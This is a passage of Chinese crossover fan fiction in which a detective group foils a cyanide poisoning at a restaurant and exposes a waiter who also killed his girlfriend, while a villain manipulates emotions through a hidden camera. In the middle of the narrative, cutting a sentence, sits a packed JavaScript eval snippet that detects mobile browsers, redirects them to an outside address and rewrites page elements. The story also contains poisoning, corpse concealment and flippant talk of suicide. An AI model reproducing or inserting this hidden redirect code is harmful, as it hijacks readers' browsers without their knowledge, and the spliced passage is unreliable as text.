国木田有点愧疚又有点解气地想，实在控制不住脾气的话，就只好对着太宰发火吧。 为了表达歉意，这次的饭菜他也会照常请客的。 ……而这完全不是井开宏希望看见的画面。 为什么、为什么他现在只是想先闹出一点小矛盾，却连这点也无法做到？ 难道自己的异能退化了吗？！ 井开宏精神状态越来越差劲，脑中充满了不可置信和对自己的质疑。他恍惚地握着笔，又选择了下一个目标。 就选旁边这个发型比较奇怪的白发少年吧。 他懒得再认真地去写，直接就不假思索地开始动笔。 其实刚开始，井开宏还能耐心地按照自己得到的信息，针对性地向目标人物传达合情合理的想法和情绪，使达到的效果最优化。 比如说，向曾经自杀过的坐轮椅的青年传输自厌、求死的念头；向那青年的女朋友传输想要分手、厌恶的念头；让粉黑色尖刺短发少年嫌弃那青年，觉得对方不配与黑色短发女子交往…… 可是后来渐渐的，井开宏就越来越不去考虑合理性了，反正之前写的那么合理都没有成功。 于是，他这次写的内容极其恶劣低下。 文字里再直白不过地凸显出他的恶意，任谁都能看出动笔的人在发泄自己心中的怨气，写下的语言非常不堪。 片刻后，中岛敦便也步了国木田独步的后尘，甚至更加糟糕，心里不断涌起许多难以说出口的糟糕想法。 中岛敦捂着胸口，神色痛苦，不明白自己这是怎么了。 前些日子他可是即使快要饿死在路边，也没能下定决心去抢劫他人，还救了那时尚且陌生的入水自杀的太宰治。 这样单纯善良的白发少年，非常难以接受自己心中怎么会涌现这样的想法…… 太奇怪了，太糟糕了，谁能救救他…… 这时候，一位服务生刚把米饭端上他们这桌，还没来得及上菜。 中岛敦就抢着抄起筷子埋下头，拼命往嘴里塞着米饭，也顾不上等前辈先动筷的礼仪了。 太宰治不是在意礼仪的性格，只是关注在其他方面，神情复杂道：“敦君，没人跟你抢，只吃米饭会不会太噎了？” 中岛敦含糊不清地随便嗯嗯几声，仍没有停止动筷。 他觉得自己一定是饿疯了，才会冒出那样的想法，只能将唯一的希望寄托于吃饱了就能好吧。 看到白发少年埋头拼命吃饭的画面，井开宏已经彻底心累了，知道自己这次算是失败得彻彻底底了。 他从来没受过这么严重的打击。 井开宏已然选择了放弃，最后只是摆烂似的在纸上写下，饭店里的其他人都非常厌恶痛恨那个白发青年。 短时间内他无法再次对同一个人使用异能，而就算一个个把剩下的所有人都试完也没有意义了，反正结果都是一样的失败。 他已经无能为力了，也不必再做徒劳的挣扎。 最后使用的异能是对群体发动的，没有单独针对某个体，所以效果分摊之后会削弱很多。 井开宏自然确信这次更加不可能成功。 他这么做只是下意识地为了画上一个句号而已。 把监控里自己能看见的所有人都利用完，他也就没办法再不服输地继续坚持下去，给自己平白找气受了。 “为什么会这样呢？” 井开宏痛苦地喃喃着。 他仍然望着面前的监控屏幕，想不通自己为何会输得这样难看。 屏幕中的饭店依旧和平安宁，这美好的画面就像是在嘲讽他的无用。 刚才过去了一些时间，伊江朔久他们这边几人的情绪也终于渐渐缓和下来，能够勉强维持表面上的正常相处。 他们表面上和谐友好地继续交谈着，宛如刚才什么事也没有发生过一般。 现在饭菜也渐渐上全了，三人开始动筷吃饭。 黑发服务生将不同的味噌汤最后放到他们各自面前，礼貌鞠躬过后转身离开。 可是还没等他走远，身后就骤然传出了巨大动响。 黑发服务生小田切错愕地回头望去——只见原本好好地坐在轮椅上的那位白发青年，此刻竟然毫无预兆地倒在了桌子上。 对方的身体如同失去控制的木偶，头朝下地趴在桌面上，一动不动就像是死了一般的毫无生气。 而刚才还摆放在青年面前的味噌汤也掉在了地上，碗摔得四分五裂，汤也倒了一地。 “死、死人了——” 不远处，名叫谷口的短寸头服务生控制不住音量地尖叫出声，像是被吓惨了似的，脸色刷的一下变白了。 监控摄像头另一边的井开宏也万分诧异。 什么？自己居然成功了？！ 在他都已经放弃了的时候，突然就成功了？！！ 之前他明明试过那么多次，都以失败告终，怎么这次不抱希望地随便一试就成功了？！！！ 井开宏刚才通过监控画面，看见那个坐轮椅的白发青年喝了几口味噌汤，手中的碗就忽然掉下来，对方随即痛苦无力地倒在了桌子上，不省人事。 这场景井开宏非常熟悉，下毒是很常见的杀人手法。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|12980776|133754||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可是刚才到底是谁下的毒？他刚才都没注意到下毒的过程，目标人物居然就已经死掉了。 不过，井开宏倒也没有太过于在意凶手是谁。诧异过后，他现在只觉得心里无比的畅快。 他的异能还是有效的嘛。虽然过程曲折了很多，但结果还是令人满意的，终于成功杀掉了自己选定的目标！ 阴暗逼仄的房间里，井开宏再也忍不住内心的喜悦之情，肆意大笑起来，笑声回荡在室内久久不散。 而眼前的屏幕里，则是完全相反的氛围。 饭店弥漫着紧张而慌乱的气息，这里的食客和服务生被这突如其来的变故吓得不轻，目光都聚集在了猝然倒下的白发青年这边。 虎杖悠仁脸色极差，声音中带着些许颤抖地喊：“伊江先生！” 佐藤美和子离伊江朔久更近，她深吸一口气，伸出手测量了对方的脉搏。 片刻后，她收回手，张口想说些什么最终却还是没说出口，只是默默摇了摇头，像是在努力压抑内心的悲伤。 显然这个人已经死了。 随后，小声议论的声音开始在人群中蔓延开来，每个人脸上的表情都不太好，整个饭店仿佛被一种无形的压力所笼罩。 有的人无法忍耐下去，已经开始收拾东西想要提前离席。 在这时，国木田站了出来，目光坚定而有力地提高声音道：“大家不要惊慌，我们是武装侦探社的成员。这很有可能是一起谋杀案，请大家先保持冷静，耐心等待警察到来。” 他的话让原本混乱的场面稍微平静了一些。 看着大部分人逐渐镇定下来，目前没人再准备离开这里，国木田立即回头说道：“敦，赶紧报警。” 中岛敦此刻本来正不安地注视着太宰治，毕竟死者是太宰先生方才一直很关注的人。 虽然太宰先生现在没有表现出很难过的情绪，可对方一直是这种不会表现自己真实情绪的性格，所以他还是有些担心。 听到国木田的话，中岛敦愣了一下才反应过来，匆忙应下，拿出手机拨打报警电话。 “太宰你……算了，没事。” 国木田打算吩咐太宰治做些什么，但似乎是和中岛敦想到了一处去，他又临时改了口。 国木田独自往死者那边方向走去。 而前方离死者近的位置被黑色短发的女子挡住了，那女子半蹲下身，似乎正在检查倒在地上的味噌汤。 还没等国木田开口，对方就转过头来，语气严肃地说：“味噌汤有毒。有很淡的苦杏仁味道，是氰.化物。” 她拿出了自己的证件，上面印着警视厅刑事部搜查一课刑警的字样，证明了她的身份。 “我是搜查一课的警察佐藤美和子。” 国木田点点头：“佐藤警官。” 佐藤沉声解释道：“我是在休假时和朋友一起出来吃饭的，没想到刚吃了几口，伊江君他忽然就……” 她声音有点哑，没能接着说下去。 国木田理解她还没办法接受朋友突然的死亡，不过目前得抓紧时间找到凶手才行。 在侦探社工作了那么久，他自然知道案子拖得越久越难解决。 国木田安慰佐藤道：“不必自责。当务之急应该尽快找出凶手，将其绳之以法，才能让这位伊江君安息。” 23-30 第23章 既然是味噌汤里被人下了毒，那么很显然，不久前刚把味噌汤送过来的黑发服务生有着重大嫌疑。 毕竟他刚放下味噌汤，还没走多远，客人就已经死掉了。 其他人的视线顿时齐齐投向那个黑发服务生。 对方因不适应这些目光而瑟缩了一下，又强撑着不满地高声反驳：“你们凭什么这样看着我？又不是我下的毒！” 然而这种话肯定不能让人信服，因为大多数凶手都会死咬着不承认，不见黄河心不死。 幸好，那位名叫谷口的服务生站出来，帮他说话：“怎么可能会是小田切下的毒？这个坐轮椅的客人今天应该是第一次来我们餐厅吧，小田切都不认识他，完全没有作案动机啊。” 小田切连忙感激地点点头，抓住这点为自己辩解道：“没错，绝对不可能是我！我今天之前从来没见过他。” 看着店内其他人望着小田切的目光，从原本的猜疑忌惮变得犹疑不定，谷口放心了许多。 “其实，从一般的逻辑来讲，凶手大概率会与死者有着较为熟悉的关系……” 谷口一边说着，一边不自然地悄悄瞥向伊江朔久附近的佐藤和虎杖。 虽然谷口没有正大光明地看过去，但是此刻因为他说的话，不少人都在看向他这个方向，所以对方这一举动就显得格外惹眼。 更不用提谷口很明显指的是，凶手应该就在佐藤和虎杖这两人之间。 “对对！” 小田切觉得谷口说得非常有道理。 再加上他正处于被怀疑的状态，所以急切地想要将别人也拉下水，以此把焦点从自己身上转移。 小田切深吸一口气，指向佐藤所在的方向：“大家别被她给骗了，警察就不可能会是杀人凶手吗？不见得吧？！” 他的话音落下，店内的气氛顿时变得更加紧张。 毕竟连能够带给人安全感的警察都可能是凶手，这感觉也太令人不安了。 佐藤美和子尽量保持平静，为自己辩解道：“我没有杀人理由，我和伊江君没有任何矛盾，刚才我也一直没有触碰过那碗味噌汤。这些虎杖君都可以证明。” 虎杖悠仁赶忙说：“对，我可以证明。” “说不定你们是合谋作案的呢？你的证言不能算数！” 小田切有点着急，如果别人都能够洗清嫌疑，那亲手把味噌汤送过去导致客人中毒死亡的自己就得糟糕了。 来不及仔细思索，小田切又指向了离佐藤他们位置很近的一个少女，道：“或者凶手也有可能是她吧。刚才她不是被泼了果汁嘛，可能心怀不满，结果不小心报复错了人……” 小田切说着说着自己也觉得牵强，弱弱地补充道：“……反正杀人嫌疑最大的不是我。我又不认识那个客人，也不是杀人狂魔，怎么可能会无缘无故地动手。” 伏黑惠没想到这件事也能扯到自己身上来。 “我绝对不可能是凶手……” 黑发绿眸的少女艰难地说。 她心情复杂，又一次地后悔自己为什么想不开要以这种形象出门了。刚才就不应该继续留下来吃饭，应该直接离开才是。 伏黑惠倒是不在意被人误会怀疑是杀人凶手，但前提是自己以真实身份在场的情况下。 现在被怀疑，万一不小心扯到她的身份该怎么办。 禅院穗这个身份只是自己随口杜撰的而已，就好似空中楼阁，根本经不起丝毫调查。 “这件事绝对跟、这位小姐无关。” 虎杖悠仁为她说话，中间卡壳了一下，想起来自己还不知道对方的名字。 伏黑惠在心里叹了口气，道：“我叫禅院穗，叫我禅院就可以了。” 虎杖悠仁连忙应了一声。 小田切不满他们互相给对方开脱，强词夺理地对虎杖道：“你别管别人，你自己嫌疑都那么大，怎么能给别人做担保？……” 其他人悄悄议论的声音也越来越大，场面又一次地逐渐混乱起来，甚至可以比得上刚刚死人时候的情形。 小田切这样胡乱猜测一通，使得这几个人仿佛都成了潜在的嫌疑人，加剧了人们心里的恐慌和不安。 国木田也头疼不已，分不清谁说的才是对的。 他只能在旁边听着他们的话，试图抽丝剥茧，想办法做出正确的判断，或是找出谁话中的漏洞。 这时候，身后黑发鸢眼的青年走过来。国木田注意到他的靠近，不由得随之缓了口气。 虽然太宰治平时总是很不靠谱，经常给人添麻烦，但不得不说这家伙其实脑子还是蛮厉害的，就没见过对方解决不了的事情。 国木田悄悄问道：“太宰，你觉得谁最可疑？” 他问的时候特意压低了声音，毕竟这种问题不适合当众问出来，让其他人听见了难免会让场面更加混乱。 太宰治随意地摇了摇头，像是根本不在意这起案件的样子。 而且，他接下来跟国木田说话时还提高了声音，完全不管会不会被其他人听见。 “我觉得这种事情，还是直接询问当事人比较好吧。” 看着其他人听到这句话，向这边投来奇怪的眼神，国木田急道：“你在胡说什么啊？太宰，什么当事人……” 太宰治没有回应，微微侧头望向另一边，看着那位头朝下地趴在桌面上一动不动的死者。 他脸上挂起了微笑，对着本应是绝对不可能回话的死者问出了问题：“你觉得凶手会是谁呢？” 太宰治声音缓慢，略微生涩又显亲近地喊出了那个称呼，那个他刚刚从佐藤那里听到的称呼。 “伊-江-君。” 话音落下，倒在桌面上的白发青年便突然奇迹般地动了，头缓缓抬了起来，手撑着桌子，在轮椅上重新坐直身体。 在众人惊诧到屏住呼吸的注视下，原本的死者就这么复活了。 伊江朔久抬头望向太宰治，与对方的目光相对，回应地露出了一个颇为无奈的笑容。 谷口被吓得说不出来话，愣愣地张着嘴。 其他人也同样如此。在米花町待过这么久，他们可能不是第一次见到死人，但绝对是第一次见到被认定为死亡后还能重新活过来的人。 于是，这里陷入一片诡异的安静之中…… “等等，等等！” 还是小田切最先出声，他不可置信地大声道：“这家伙原来没死啊？！” 这个问题也是其他不明所以的人非常想知道的。 伊江朔久语气诚恳地道歉：“不好意思麻烦大家了，我并没有喝下那碗味噌汤。” “刚才我闻到汤里有奇怪的苦杏仁味道，猜到有人下毒，所以才将计就计地装作喝下后中毒死亡，想要找出下毒的人。” 听完他的解释，其他人还有些恍惚。 有人忍不住看向佐藤，出声道：“那她刚才说……” 伊江朔久解释道：“我在倒下之前，提前暗示了虎杖君和佐藤小姐，所以他们才会帮忙圆这个谎。这都是我的责任。” 佐藤摇摇头：“换作是我也可能会这么做，毕竟也是为了找出下毒的危险分子。” 虎杖悠仁也笑着道：“是啊。不过刚才伊江先生悄悄对我们眨了下眼睛，接着就突然倒了下去，吓了我一跳。我差点没有及时反应过来。” 回想起来刚才的场景，虎杖悠仁仍旧心有余悸——没想到伊江先生的演技挺好的，表演中毒痛苦倒下去的模样还蛮真实。 小田切皱眉听着，一脸不快的样子。 知道了原委之后，小田切虽然不用担心自己含冤入狱了，但也很不开心自己被耍，所以他故意带上嘲讽的语气道： “所以，这位客人你这么闹上一通，最后有找到凶手吗？” 伊江朔久没有直言回答，而是顿了顿，将视线移到小田切旁边的谷口身上。 紧接着，太宰治便默契地开口询问谷口：“这位服务生先生，请问你当时为什么第一反应是认为他死了呢？” 谷口的神情有点难看，没有第一时间回答。 这确实是个疑点。 毕竟伊江朔久本人并没有真正死亡，而他倒下的那个时候，谷口离他的位置不算近。 谷口没有上前仔细查看确认对方的情况，也没有考虑到对方昏迷的可能性，便第一个吓得喊出声说死人了。 正是最先因为这句“死人了”的尖叫，在店内引起了恐慌的连锁反应，再加上后来虎杖和佐藤的态度，才使得其他人几乎都相信这个人是真的死了。 现在知道伊江朔久其实是在装死，那么谷口之前的反应就值得怀疑了。 为什么他会先入为主地认为对方死了？ 其他人都会忍不住由此想到，难道是因为他就是下毒的那个人，所以在看到伊江朔久喝了味噌汤后倒下，便认定对方肯定死了…… 小田切没想到被怀疑的对象能突然变成谷口。 小田切早就认识谷口，他们一起在这家饭店里工作已经有很长一段时间了。 他知道谷口那家伙脾气好得很，每次和女朋友吵架都是先道歉的那一个，也从来没见过对方生过气，怎么可能会给不认识的客人下毒呢？ 想到不久前谷口帮自己说过话，小田切便主动插话道： “那个客人突然就倒下去了，还把碗给摔碎了，闹出这么大动静，别人被吓到以为他死了也很正常吧。” 谷口愣了一下，也跟着说道：“嗯，是的，我胆子比较小。刚才一时被吓到了，就没考虑那么多。” “这样吗。”伊江朔久神情没多少变化，只是伸手指向饭店某个不起眼的角落，道：“那里有个隐蔽的监控摄像头。” 谷口震惊地猛然侧头望去，看向那个角落。不过那边架子上放着一些绿植，他站得比较远，看不清到底有没有隐藏什么监控。 其他人也下意识地跟着望过去。 监控摄像头的另一边，井开宏惊惧地看着店内这么多视线齐齐投向了自己…… 刚才发现伊江朔久还没死，井开宏就已经够糟心的了，被意想不到的失败打击到几近崩溃。 可是他没想到，一切没有最糟只有更糟。 比自信心被打击得一塌糊涂还糟糕的事情发生了……自己这个向来藏在暗地里掌控着事件走向的幕后人物，有朝一日居然就这么突然暴露在了所有人面前。 怎么办怎么办，井开宏慌得满头大汗，不知如何是好。 他完全不习惯被这么多目光包围，恐惧得恨不得立刻关上面前的屏幕。 但是又不知道接下来会发生什么，担心自己其他的信息也暴露出来。他便只能被迫继续看下去，毕竟得全部弄清楚才能知道接下来该如何面对。 井开宏提心吊胆地望着屏幕，不断地祈祷着千万不要再发生更糟糕的事了。 可恶，他不想逃离米花町，更不想被抓进监狱啊…… 监控屏幕里，伊江朔久正在对谷口道：“我们素不相识，所以你想要杀我肯定是临时起意。那么唯一的机会就是靠近出餐口，趁其他人不注意的时候，在我的那份味噌汤里偷偷下毒。” “你不知道那里有监控的存在，所以肯定不会特意避开那个角度。” 伊江朔久平静地问道：“要猜一下监控有没有拍到吗？你真的确定自己将氰.化物拿出来，放进味噌汤里的全部过程……没有任何一丝破绽吗？” 一旁的小田切听得有点恍惚。 他忽然想起来，刚才自己去出餐口端菜的时候，确实注意到谷口有在那里停顿。 当时他心底还闪过一丝疑惑，不明白为什么谷口就站在那儿却没有顺便把菜端给客人，不过接着谷口就去忙着收拾别的餐桌了，他也就没多想。 而且……刚才谷口似乎还看过点菜单，然后跟自己说过，没想到居然有人和他女朋友一样那么嗜甜。 那时他附和着说，是啊没想到，还随口提到过那份甘口的味噌汤是那个白发青年点的。 ——他们关东地区口味相对偏重，味噌汤也以辛口为主。点甘口的客人本来就比较少些，而且那个白发青年还提过多加点糖。 小田切自然对那个客人的印象比较深刻。 所以这么说，谷口确实有着很大嫌疑作案…… 难不成真的会是谷口吗？ 小田切忽然晃了晃脑袋，想把这种想法抛出去，怎么可能会是谷口呢？太离谱了。之前那些大概都只是巧合吧。 他看向谷口，对方的脸色微微有点发白。 小田切控制不住开口催促道：“谷口，你快说点什么解释一下啊。放心，我肯定不会看着其他人冤枉你的。” 谷口在漫长的沉默后终于发声，望着伊江朔久道：“我听不懂你在说什么。我们在这里工作了这么久，从来没听说那里放了什么监控。你又怎么可能会知道这个？” 伊江朔久也料到对方会这么问了，很自然地回应道：“我投资了这家饭店，所以会知道。饭店的老板前段时间刚在那里装了监控，只是暂时还没有告诉其他员工而已。” 小田切怀疑地重复道：“投资？” 伊江朔久说道：“是的。反正监控就在那里，如果不信，直接去看看就好了。” 有一个离得近的服务生闻言便直接靠近了那边，伸手往架子上的几盆绿植里摸了摸，很快就找到了一个小型的监控摄像头。 那服务生惊讶地拿着展示给其他人，道：“还真的有！” 伊江朔久看向谷口，问道：“还需要我联系店长、麻烦他把监控录像放出来吗？你要想清楚。认罪态度好的话，是有机会从轻处罚的。” 伊江朔久对谷口说的这些话真假参半。 他确实投资了这家饭店，也有饭店老板的联系方式。但这个监控摄像头不是老板放在那里的。 他当时察觉味噌汤里有毒，将计就计地假装倒下后，便根据在场所有人的反应，逐一筛选，最终判断出下毒的是那个叫谷口的服务生。 但是很明显，谷口并不拥有影响其他人情绪的异能。 所以肯定还有别人也想让他死，谷口可能只是对方的一把刀而已。 既然对方能够时刻控制这家店的人的情绪，那么绝对可以一直了解这里的情况。 而伊江朔久没有在店里的这些人中找出对方，就猜测对方应该是用了监控之类的东西，在远程操控着这里。 为了使监控的覆盖范围尽可能广泛，摄像头自然得靠着墙边放，一般还会安置在高处…… 这家饭店不算大，符合条件的位置极少。 再加上伊江朔久因为签订了契约而增强的视力，轻易便找到了监控摄像头。 伊江朔久以此编了个谎言，虽然他其实没办法拿到监控录像，不过也能借着监控让谷口坦白。 面前，谷口额头冒着虚汗，嗫嚅着不知道该怎么办。 这时正巧，不远处的另一个服务生恍然出声道：“我想起来了，老板之前确实提到过有位关键时刻救急、投资了许多资金的先生……你就是伊江朔久先生吗？” “是我。”伊江朔久有点不好意思地回应道：“其实我投资的资金也不算多。” 毕竟他投资了许多家店铺，当然不可能每个都花费很多钱。 而且投资这些店铺，都只是因为它们离动漫剧情人物出没的地方近。偶尔能在这些店铺看见那些人也挺有意思的。 不过说来其实也有些抱歉，他在很久之前投资了这家店后，就再没有关注过这里的情况，所以这些服务生自然大多都不认识他。 谷口知道了伊江朔久确实投资过这家店，便也随之信了他能从老板那里拿到监控录像。 于是，谷口终于放弃挣扎，开口道歉：“对不起，对不起，都是我一时鬼迷心窍，我一动手就后悔了……” 旁边的小田切难以接受地看着谷口，觉得好像自己从来没有了解过这个人。 亏他刚才还感动谷口帮自己说话，没想到凶手居然就是对方。 谷口此时完全顾及不到自己的形象，很狼狈地哭着解释：“我被女朋友给甩了，我为她付出了这么多，她却那么狠心地抛弃了我。” “所以刚才看见你们感情那么好，我就很不甘心，我……对不起……” 佐藤忍不住澄清道：“我和伊江君只是朋友的关系。” 伊江朔久也无奈点头。 虽然不知道为什么会被对方这么坚定地误会，但伊江朔久也清楚对方下毒时的心理。 谷口没说完的话很明显是，不甘心身体残缺的人也能有女朋友，而且女方对他的态度还这么好，所以谷口才嫉妒得想要动手吧。 “求求你了，看在你如今安然无事的份上，就放过我这一次吧。”谷口不断地求饶：“我已经知道错了，以后再也不会干这种傻事了……” 谷口的态度看起来很卑微，大概率是因为如果获得受害人的原谅，就有很大机会可以减轻刑罚。 但伊江朔久并不打算原谅对方。 从刚才店里其他人的状况来看，那个操控他人情绪的能力并没有那么厉害。所以谷口能够真的动手下毒，就足以证明很多了。 而且，还有别的更重要的原因…… 旁边看热闹的太宰治都忍不住出声了，嘲讽谷口道：“不要把所有人都当成笨蛋吧，你的漏洞也太多了。” 谷口摇头，努力争辩道：“我现在说的话都是真心的，我真的只是一时糊涂，以后绝对不会再做这样的事了，而且、而且伊江先生也还活着啊。” 伊江朔久叹气，忽然提到了之前谷口说过的话：“你之前说过，一般来说，凶手和死者的关系应该会比较熟悉。但我们却并不认识吧。” 很显然，谷口的作案理由太过牵强了。 谷口有点结巴道：“我、我一时糊涂，我就是真的爱我的女朋友，接受不了她离开。所以、我看见你们的时候情绪很糟糕，不太理智……” 伊江朔久打断对方的谎言，说道：“绝大多数案件里，凶手确实有很大可能性认识死者。但是还有一种也不算特别少见的情况，凶手会轻易地下定决心，杀掉仅仅是第一次见面的陌生人。” “这种情况通常是因为，凶手已经不是第一次作案了。在已经踏出了那一步之后，他便不会再畏惧杀人，也就没那么容易控制住第二次作案的冲动。” 谷口面色惨白：“你在说什么呢，伊江先生……你不是还没有死吗？” 伊江朔久望着他问道：“嗯，我是还没有死。那你的女朋友还活着吗？你今天值班迟到的原因究竟是什么呢？” 他话里的意思很明了。 没想到事情会发展到这个地步，小田切实在忍不住质问道：“你居然杀了她吗？所以你先前是在撒谎。不是你联系不上她，而是你把她给杀了？！” 谷口不承认：“我没有！我怎么可能会杀了她？！” 伊江朔久不急不慢地说：“你之前也承认是自己下的毒。所以你为什么会随身带着氰.化物呢？” 氰.化物肯定是谷口事先准备的，不可能随便拿在身上。 有很大概率是，他在来店里上班前，就已经用过氰.化物杀死过人了。因为来的匆忙，才没有把它收好。 “我……”谷口难以解释，在脑中迅速搜刮着说辞，却怎么也想不到合适的理由。 伊江朔久又道：“我先前听见你说，来的路上摔了一跤，因此衣服上才沾了那些白灰。” 小田切回想起当时和谷口的交流，附和道：“对，他当时就是这么说的。” 虽然小田切还不明白伊江的意思，但是通过刚才伊江的那些话，他下意识地选择了信任对方，相信对方会推理出事情的真相。 “一般在路上摔倒，沾上的灰尘大多是灰褐色的。”伊江朔久道：“其实摔倒只是谎话，你沾上的白色粉末是石灰粉，对吧？” 听到这里，谷口彻底没有了侥幸心理，身体发软，无力又疲惫地跌坐到地上，不理解地问：“……你怎么会知道？” “当然了，你的行为逻辑太好猜了。”太宰治懒散地道。 国木田独步努力思考着，喃喃道：“石灰的作用有刷墙、砌筑、改良土壤、杀虫，还有……” 太宰治提醒：“是防腐啦。” 佐藤美和子想起曾经了解过的某些案件，突然道：“对，将石灰粉撒到尸体上，或者大量堆放在尸体周围，可以起到延缓尸体腐败的作用，能够误导死亡时间的判断！” 太宰治说道：“所以很明显，他用石灰粉处理了尸体，杀人后还匆匆赶来上班，就是想要创造出不在场证明。” 这时候，饭店外也传来了警笛声。 目暮十三带着搜查第一课三系的一些警察到达饭店时，便只看到了跪坐在地上痛哭的谷口，对方一边哭还一边说着自己有多么爱女朋友…… 这个场景并不陌生。 目暮十三当刑警多年，早已见多了犯人被戳穿后跪地痛哭的样子，但是…… 他在饭店里左右望望，心中升起疑惑——死者呢？？？ 第24章 奇怪了。 不是有人报警说，这里有客人中毒突然倒下死了吗？那么死者究竟在哪里呢？ 幸好，目暮十三看到了熟悉的佐藤，上前问她：“佐藤，这里发生了什么？死者在哪里呢？” 佐藤看了眼伊江，有点犹豫地说：“其实这里没有死人。” 松田阵平这次也跟着目暮十三一起来的，他注意到了佐藤视线有扫过旁边的伊江，不禁问道：“伊江怎么也在这里？” 松田阵平严重怀疑伊江牵扯进这次的事件里了，估计还扮演着什么重要角色。 伊江朔久解释了一通，说明了刚才发生的事情。 松田阵平：……果然。 不过伊江的倒霉程度居然比他想象得还要严重啊。 其他警官听得也都有点恍惚，赶到现场后发现死者其实并没有死，但却由此引出了另一个案件……这种情况还真是蛮少见的。 目暮十三拍了拍伊江朔久的肩膀，自来熟道：“这次真是要感谢你啊，伊江老弟，你有成为一名侦探的想法吗？” 伊江朔久抱歉道：“目前我还从来没有考虑过。” “这样啊。”目暮十三可惜道：“但我觉得你推理能力还蛮不错的，有成为超级厉害的侦探的潜能呢。” 这次的案件难得这么轻松就解决了，目暮警官有些可惜对方没有当侦探的想法，不过也不方便多劝几句。 警方接下来还得带着谷口去找他女朋友的尸体，把证据整理好，完成后续的事宜。 其中一名警察将那个监控摄像头收了起来，准备作为证据一起带走。 伊江朔久连忙解释道：“不好意思，关于监控录像的事其实是假的。不是店长告诉我这里有放置监控的，只是我意外在店里看见的。” 其他人闻言都比较错愕。 目暮十三还没来得及开口，太宰治便过来道：“这个监控和我们武装侦探社正在追捕的一个罪犯有关。” 武装侦探社的自己人先愣了一下，中岛敦和国木田都是一副并不知情的样子。 太宰治冲他们眨眨眼，问道：“你们刚才不觉得自己的状况很奇怪吗？” 国木田想起自己先前心底涌现的那些负面念头，恍然大悟：“你是说那个可能会操控他人情绪的……” 顾忌着周围很多都是普通人，不了解异能者，国木田也就没把话说全。 太宰治点了点头。 目暮十三没听懂他们在说什么，但他倒是听过武装侦探社的存在。 那个侦探社在横滨的地位很高，听说还经常接受军警的委托，解决过多起疑难案件。 太宰治向目暮十三展示了他们侦探社的证件，还有接受委托追捕从横滨逃到东京的一名罪犯的证明。 “这个监控涉及到我们的任务委托，能麻烦把它交给我们吗？” 既然监控的录像暂时没办法拿到，犯人又已经承认了罪行，目暮十三就轻易地同意把监控留给他们了。反正东京的警察也不太方便插手横滨的事情。 但是物证有所欠缺，就更需要带几个人证回去做笔录了。 而这时，太宰治却又双手合十，拜托道：“能让伊江君留下来吗？我还有一些问题想要问他，我们的任务之前一直没什么线索，想要让伊江君帮忙分析分析。” 伊江朔久简单地思索过后，应声道：“可以，我很愿意留下来帮忙。” 目暮十三迟疑地张了张口，想说做笔录的事。 佐藤及时道：“我可以代替伊江君做笔录，进饭店后我们一直待在一起。” 既然如此，目暮十三也便点头同意了，带着其他人离开饭店。 警察、犯人和做笔录的几个人都走了以后，店内的不少客人也很快选择了离开，原本热闹的饭店一时显得有些冷清了下来。 沉默了一会儿后，伊江朔久先开口：“你有什么想说的吗？” 太宰治问道：“你叫什么名字？” 这真是明知故问，刚才店里已经有人叫出过他的名字了。 “……伊江朔久。” 太宰治：“好的，伊江君，我的名字是太宰治。” 伊江朔久又默了默，才道：“太宰君，你到底为什么要让我留下来？” 太宰治勾勒出标准的微笑：“我说过了呀，请你帮忙分析一下我们的任务。” 伊江朔久看了眼旁边的国木田和中岛敦：“我根本帮不上什么忙吧。” 虽然中岛敦也不知道太宰先生为什么会请对方帮忙，但是还是主动帮着说话：“刚才的案件伊江先生分析得很厉害，一定能对我们有帮助的。” “我的意思是，你们的任务不是已经差不多解决了么。” 伊江朔久无奈道：“这个监控摄像头都在你们手上了。不仅可以从购买地址查起，还能直接查一下外面这条街的监控，看看有哪个可疑的人近期进入过这家饭店。完全不需要我的帮忙。” “也是。”太宰治点点头：“逮住这种家伙确实用不着麻烦伊江君。” 太宰治拿着监控摄像头，漫不经心地继续说着，完全不在意这些话有没有被摄像头另一边的那个人听到，也像是在故意恐吓那个人。 “店里刚才的杀人演出完全搞砸了呢。那家伙明明掌握着有用的异能，却依旧这么差劲又没本事……不用想也知道，他以此为素材写下的小说一定也烂透了，绝对再怎么努力成为不了什么优秀的小说家。” 伊江朔久听了太宰治这种变相的解释之后，也算是知道那个异能者的目的了。 为了写好自己的作品就去杀人……这样的理由总是令人难以接受，不过想想对方刚才的离谱操作，又感觉合理了许多。 “伊江君看起来一点都不意外，应该是早已推测出了刚才的情绪异常是有人在幕后操控的吧。在信息这么少的情况下能猜到真是聪明呢……果然四年前你是故意的吧。” 话题骤然拐了个弯。 伊江朔久知道太宰治在指他当时是故意阻止对方自杀的，一时没想好该怎么回话。 太宰治又道：“其实我有些好奇，你为什么会改变主意呢？” 为什么会放弃自杀、活到现在呢？ 当时对方绝对是已经下定决心要放弃生命的，所以他确实没想到时隔多年还能再次见到对方。 伊江朔久反问他：“……你现在还会自杀吗？” 太宰治轻快地说：“当然了，我一直在为之努力奋斗着呢。” 旁边国木田和中岛敦的表情都比较复杂，看起来像是对此体会颇深。 伊江朔久：“为什么要自杀呢？” 他又一次地问出了四年前的那个问题。 太宰治则跟四年前一样，没有认真回答这个问题，而是敷衍了过去。 他像是控制不住扑哧一声笑了出来，声音很夸张地说：“这是我的理想啊。自杀是一件多么美好而神圣的事情，能将灵魂引渡入黄泉之国，怎么会不令人向往呢。” 不过虽然都不是真心的回答，但是太宰治如今说话时的样子，和四年前有了很明显的不同，使人体会到时间带来的改变。 现在的他看起来开朗活泼了许多，不再有当年拒人于千里之外的感觉，语气总是不太正经，像是在开玩笑或戏弄他人。 或许也正是因为这样，国木田能够自然且熟练地攥拳重捶了一下他的肩膀，愤愤地抱怨道： “说什么胡话呢，你这家伙，知道你的自杀行为打乱了多少次我的计划吗？真是个麻烦制造机。” 太宰治笑着向国木田道了歉，话里话外却带着就是不改的意味，听起来有点容易令人火大。 但是伊江朔久感觉，从另一方面来说，四年后的太宰治跟人的距离实际上也没有拉近多少。 